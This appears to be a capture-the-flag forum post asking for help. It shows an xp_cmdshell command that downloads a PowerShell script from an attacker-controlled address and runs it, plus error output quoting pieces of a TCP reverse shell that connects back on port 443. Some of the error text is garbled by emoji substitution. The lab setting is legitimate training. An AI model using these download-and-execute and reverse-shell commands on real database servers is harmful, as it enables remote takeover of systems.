STARTING POINT shell.ps1

After running
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.98/shell.ps1\“);”

I get this error

client : The term ‘client’ is not recognized as the name of a cmdlet, function, script file, or operable program.

Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

At line:1 char:1

  • client = New-Object System.Net.Sockets.TCPClient(“10.10.14.98”,443);$ …

  • 
      + CategoryInfo          : ObjectNotFound: (client:String) [], CommandNotFoundException   
    
      + FullyQualifiedErrorId : CommandNotFoundException                             
    
                                                                                     
    
    

You cannot call a method on a null-valued expression.

At line:1 char:69

  • … ts.TCPClient(“10.10.14.98”,443);$stream = $client.GetStream();[byte

  •                                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull

You cannot call a method on a null-valued expression.

At line:1 char:137

  • … 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) …

  •                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull

You cannot call a method on a null-valued expression.

At line:1 char:463

  • … .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

  •                                                       ~~~~~~~~~~~~~~~        
    
    • CategoryInfo : InvalidOperation: (:slight_smile: , RuntimeException

    • FullyQualifiedErrorId : InvokeMethodOnNull